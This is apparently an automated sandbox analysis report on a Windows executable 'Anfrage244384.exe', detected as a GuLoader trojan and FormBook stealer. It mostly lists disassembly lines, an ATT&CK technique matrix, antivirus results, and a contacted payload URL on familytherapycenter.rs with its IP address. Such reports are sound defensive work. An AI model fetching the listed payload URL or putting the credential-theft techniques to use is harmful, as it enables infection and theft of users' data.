      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B2F0 mov eax, dword ptr fs:[00000030h]3_2_34E2B2F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B2F0 mov eax, dword ptr fs:[00000030h]3_2_34E2B2F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C0 mov eax, dword ptr fs:[00000030h]3_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F2F8 mov eax, dword ptr fs:[00000030h]3_2_34E3F2F8
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D892C5 mov eax, dword ptr fs:[00000030h]3_2_34D892C5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D892C5 mov eax, dword ptr fs:[00000030h]3_2_34D892C5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D792FF mov eax, dword ptr fs:[00000030h]3_2_34D792FF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E172A0 mov eax, dword ptr fs:[00000030h]3_2_34E172A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E172A0 mov eax, dword ptr fs:[00000030h]3_2_34E172A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E492A6 mov eax, dword ptr fs:[00000030h]3_2_34E492A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E492A6 mov eax, dword ptr fs:[00000030h]3_2_34E492A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E492A6 mov eax, dword ptr fs:[00000030h]3_2_34E492A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E492A6 mov eax, dword ptr fs:[00000030h]3_2_34E492A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB329E mov eax, dword ptr fs:[00000030h]3_2_34DB329E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB329E mov eax, dword ptr fs:[00000030h]3_2_34DB329E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E092BC mov eax, dword ptr fs:[00000030h]3_2_34E092BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E092BC mov eax, dword ptr fs:[00000030h]3_2_34E092BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E092BC mov ecx, dword ptr fs:[00000030h]3_2_34E092BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E092BC mov ecx, dword ptr fs:[00000030h]3_2_34E092BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55283 mov eax, dword ptr fs:[00000030h]3_2_34E55283
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D952A0 mov eax, dword ptr fs:[00000030h]3_2_34D952A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D952A0 mov eax, dword ptr fs:[00000030h]3_2_34D952A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D952A0 mov eax, dword ptr fs:[00000030h]3_2_34D952A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D952A0 mov eax, dword ptr fs:[00000030h]3_2_34D952A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4D26B mov eax, dword ptr fs:[00000030h]3_2_34E4D26B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4D26B mov eax, dword ptr fs:[00000030h]3_2_34E4D26B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB724D mov eax, dword ptr fs:[00000030h]3_2_34DB724D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79240 mov eax, dword ptr fs:[00000030h]3_2_34D79240
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79240 mov eax, dword ptr fs:[00000030h]3_2_34D79240
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC1270 mov eax, dword ptr fs:[00000030h]3_2_34DC1270
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC1270 mov eax, dword ptr fs:[00000030h]3_2_34DC1270
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA9274 mov eax, dword ptr fs:[00000030h]3_2_34DA9274
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0D250 mov ecx, dword ptr fs:[00000030h]3_2_34E0D250
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3B256 mov eax, dword ptr fs:[00000030h]3_2_34E3B256
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3B256 mov eax, dword ptr fs:[00000030h]3_2_34E3B256
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55227 mov eax, dword ptr fs:[00000030h]3_2_34E55227
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB7208 mov eax, dword ptr fs:[00000030h]3_2_34DB7208
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB7208 mov eax, dword ptr fs:[00000030h]3_2_34DB7208
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F3E6 mov eax, dword ptr fs:[00000030h]3_2_34E3F3E6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E553FC mov eax, dword ptr fs:[00000030h]3_2_34E553FC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3B3D0 mov ecx, dword ptr fs:[00000030h]3_2_34E3B3D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DD739A mov eax, dword ptr fs:[00000030h]3_2_34DD739A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DD739A mov eax, dword ptr fs:[00000030h]3_2_34DD739A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E213B9 mov eax, dword ptr fs:[00000030h]3_2_34E213B9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E213B9 mov eax, dword ptr fs:[00000030h]3_2_34E213B9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E213B9 mov eax, dword ptr fs:[00000030h]3_2_34E213B9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5539D mov eax, dword ptr fs:[00000030h]3_2_34E5539D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB33A0 mov eax, dword ptr fs:[00000030h]3_2_34DB33A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB33A0 mov eax, dword ptr fs:[00000030h]3_2_34DB33A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA33A5 mov eax, dword ptr fs:[00000030h]3_2_34DA33A5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79353 mov eax, dword ptr fs:[00000030h]3_2_34D79353
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79353 mov eax, dword ptr fs:[00000030h]3_2_34D79353
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F367 mov eax, dword ptr fs:[00000030h]3_2_34E3F367
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E23370 mov eax, dword ptr fs:[00000030h]3_2_34E23370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7D34C mov eax, dword ptr fs:[00000030h]3_2_34D7D34C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7D34C mov eax, dword ptr fs:[00000030h]3_2_34D7D34C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55341 mov eax, dword ptr fs:[00000030h]3_2_34E55341
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D87370 mov eax, dword ptr fs:[00000030h]3_2_34D87370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D87370 mov eax, dword ptr fs:[00000030h]3_2_34D87370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D87370 mov eax, dword ptr fs:[00000030h]3_2_34D87370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4132D mov eax, dword ptr fs:[00000030h]3_2_34E4132D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4132D mov eax, dword ptr fs:[00000030h]3_2_34E4132D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77330 mov eax, dword ptr fs:[00000030h]3_2_34D77330
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0930B mov eax, dword ptr fs:[00000030h]3_2_34E0930B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0930B mov eax, dword ptr fs:[00000030h]3_2_34E0930B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0930B mov eax, dword ptr fs:[00000030h]3_2_34E0930B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF32A mov eax, dword ptr fs:[00000030h]3_2_34DAF32A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77CD5 mov eax, dword ptr fs:[00000030h]3_2_34D77CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77CD5 mov eax, dword ptr fs:[00000030h]3_2_34D77CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77CD5 mov eax, dword ptr fs:[00000030h]3_2_34D77CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77CD5 mov eax, dword ptr fs:[00000030h]3_2_34D77CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77CD5 mov eax, dword ptr fs:[00000030h]3_2_34D77CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E21CF9 mov eax, dword ptr fs:[00000030h]3_2_34E21CF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E21CF9 mov eax, dword ptr fs:[00000030h]3_2_34E21CF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E21CF9 mov eax, dword ptr fs:[00000030h]3_2_34E21CF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB5CC0 mov eax, dword ptr fs:[00000030h]3_2_34DB5CC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB5CC0 mov eax, dword ptr fs:[00000030h]3_2_34DB5CC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91CC7 mov eax, dword ptr fs:[00000030h]3_2_34D91CC7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91CC7 mov eax, dword ptr fs:[00000030h]3_2_34D91CC7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E03CDB mov eax, dword ptr fs:[00000030h]3_2_34E03CDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E03CDB mov eax, dword ptr fs:[00000030h]3_2_34E03CDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E03CDB mov eax, dword ptr fs:[00000030h]3_2_34E03CDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2FCDF mov eax, dword ptr fs:[00000030h]3_2_34E2FCDF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2FCDF mov eax, dword ptr fs:[00000030h]3_2_34E2FCDF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2FCDF mov eax, dword ptr fs:[00000030h]3_2_34E2FCDF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FCAB mov eax, dword ptr fs:[00000030h]3_2_34E3FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83C84 mov eax, dword ptr fs:[00000030h]3_2_34D83C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83C84 mov eax, dword ptr fs:[00000030h]3_2_34D83C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83C84 mov eax, dword ptr fs:[00000030h]3_2_34D83C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83C84 mov eax, dword ptr fs:[00000030h]3_2_34D83C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7DCA0 mov eax, dword ptr fs:[00000030h]3_2_34D7DCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFCA0 mov ecx, dword ptr fs:[00000030h]3_2_34DAFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFCA0 mov eax, dword ptr fs:[00000030h]3_2_34DAFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFCA0 mov eax, dword ptr fs:[00000030h]3_2_34DAFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFCA0 mov eax, dword ptr fs:[00000030h]3_2_34DAFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFCA0 mov eax, dword ptr fs:[00000030h]3_2_34DAFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBCA0 mov eax, dword ptr fs:[00000030h]3_2_34DBBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBCA0 mov eax, dword ptr fs:[00000030h]3_2_34DBBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBCA0 mov ecx, dword ptr fs:[00000030h]3_2_34DBBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBCA0 mov eax, dword ptr fs:[00000030h]3_2_34DBBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77C40 mov eax, dword ptr fs:[00000030h]3_2_34D77C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77C40 mov ecx, dword ptr fs:[00000030h]3_2_34D77C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77C40 mov eax, dword ptr fs:[00000030h]3_2_34D77C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77C40 mov eax, dword ptr fs:[00000030h]3_2_34D77C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB1C7C mov eax, dword ptr fs:[00000030h]3_2_34DB1C7C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3FC4F mov eax, dword ptr fs:[00000030h]3_2_34E3FC4F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91C60 mov eax, dword ptr fs:[00000030h]3_2_34D91C60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4DC27 mov eax, dword ptr fs:[00000030h]3_2_34E4DC27
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4DC27 mov eax, dword ptr fs:[00000030h]3_2_34E4DC27
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4DC27 mov eax, dword ptr fs:[00000030h]3_2_34E4DC27
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E09C32 mov eax, dword ptr fs:[00000030h]3_2_34E09C32
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E51C3C mov eax, dword ptr fs:[00000030h]3_2_34E51C3C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBC3B mov esi, dword ptr fs:[00000030h]3_2_34DBBC3B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5BC01 mov eax, dword ptr fs:[00000030h]3_2_34E5BC01
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5BC01 mov eax, dword ptr fs:[00000030h]3_2_34E5BC01
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0BC10 mov eax, dword ptr fs:[00000030h]3_2_34E0BC10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0BC10 mov eax, dword ptr fs:[00000030h]3_2_34E0BC10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0BC10 mov ecx, dword ptr fs:[00000030h]3_2_34E0BC10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83DD0 mov eax, dword ptr fs:[00000030h]3_2_34D83DD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83DD0 mov eax, dword ptr fs:[00000030h]3_2_34D83DD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0DDC0 mov eax, dword ptr fs:[00000030h]3_2_34E0DDC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4DDC6 mov eax, dword ptr fs:[00000030h]3_2_34E4DDC6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3DDC7 mov eax, dword ptr fs:[00000030h]3_2_34E3DDC7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79D96 mov eax, dword ptr fs:[00000030h]3_2_34D79D96
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79D96 mov eax, dword ptr fs:[00000030h]3_2_34D79D96
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79D96 mov ecx, dword ptr fs:[00000030h]3_2_34D79D96
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E15DA0 mov eax, dword ptr fs:[00000030h]3_2_34E15DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E15DA0 mov eax, dword ptr fs:[00000030h]3_2_34E15DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E15DA0 mov eax, dword ptr fs:[00000030h]3_2_34E15DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E15DA0 mov ecx, dword ptr fs:[00000030h]3_2_34E15DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0DDB1 mov eax, dword ptr fs:[00000030h]3_2_34E0DDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7FD80 mov eax, dword ptr fs:[00000030h]3_2_34D7FD80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9DDB1 mov eax, dword ptr fs:[00000030h]3_2_34D9DDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9DDB1 mov eax, dword ptr fs:[00000030h]3_2_34D9DDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9DDB1 mov eax, dword ptr fs:[00000030h]3_2_34D9DDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8FDA9 mov eax, dword ptr fs:[00000030h]3_2_34D8FDA9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB9DAF mov eax, dword ptr fs:[00000030h]3_2_34DB9DAF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBD4E mov eax, dword ptr fs:[00000030h]3_2_34DBBD4E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBBD4E mov eax, dword ptr fs:[00000030h]3_2_34DBBD4E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D77D41 mov eax, dword ptr fs:[00000030h]3_2_34D77D41
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93D40 mov eax, dword ptr fs:[00000030h]3_2_34D93D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93D40 mov eax, dword ptr fs:[00000030h]3_2_34D93D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93D40 mov eax, dword ptr fs:[00000030h]3_2_34D93D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93D40 mov eax, dword ptr fs:[00000030h]3_2_34D93D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93D40 mov ecx, dword ptr fs:[00000030h]3_2_34D93D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00405DE5 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,0_2_00405DE5

      Stealing of Sensitive Information

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000003.00000002.3110222192.00000000349F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000003.00000002.3110222192.00000000349F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
      Native API      		1
      DLL Side-Loading      		1
      Access Token Manipulation      		11
      Masquerading      		OS Credential Dumping211
      Security Software Discovery      		Remote Services1
      Archive Collected Data      		11
      Encrypted Channel      		Exfiltration Over Other Network Medium1
      System Shutdown/Reboot
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts11
      Process Injection      		1
      Virtualization/Sandbox Evasion      		LSASS Memory1
      Virtualization/Sandbox Evasion      		Remote Desktop Protocol1
      Clipboard Data      		1
      Ingress Tool Transfer      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
      DLL Side-Loading      		1
      Access Token Manipulation      		Security Account Manager2
      File and Directory Discovery      		SMB/Windows Admin SharesData from Network Shared Drive2
      Non-Application Layer Protocol      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
      Process Injection      		NTDS23
      System Information Discovery      		Distributed Component Object ModelInput Capture13
      Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
      Deobfuscate/Decode Files or Information      		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
      Obfuscated Files or Information      		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
      DLL Side-Loading      		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      Anfrage244384.exe32%ReversingLabsWin32.Trojan.Guloader
      Anfrage244384.exe100%AviraHEUR/AGEN.1361137

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\nsb8E12.tmp\System.dll0%ReversingLabs

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      https://familytherapycenter.rs/0%Avira URL Cloudsafe
      https://familytherapycenter.rs/B50%Avira URL Cloudsafe
      https://familytherapycenter.rs/rmANWge110.bin0%Avira URL Cloudsafe
      https://familytherapycenter.rs/rmANWge110.binD10%Avira URL Cloudsafe
      https://familytherapycenter.rs/rmANWge110.bin~0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      familytherapycenter.rs
      		188.40.95.144
      		truefalse
        		high

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        https://familytherapycenter.rs/rmANWge110.binfalse
        • Avira URL Cloud: safe
        		unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdAnfrage244384.exe, 00000003.00000001.2332876628.00000000005F2000.00000020.00000001.01000000.00000007.sdmpfalse
          		high
          http://www.ftp.ftp://ftp.gopher.Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmpfalse
            		high
            http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdAnfrage244384.exe, 00000003.00000001.2332876628.00000000005F2000.00000020.00000001.01000000.00000007.sdmpfalse
              		high
              http://nsis.sf.net/NSIS_ErrorAnfrage244384.exefalse
                		high
                http://nsis.sf.net/NSIS_ErrorErrorAnfrage244384.exefalse
                  		high
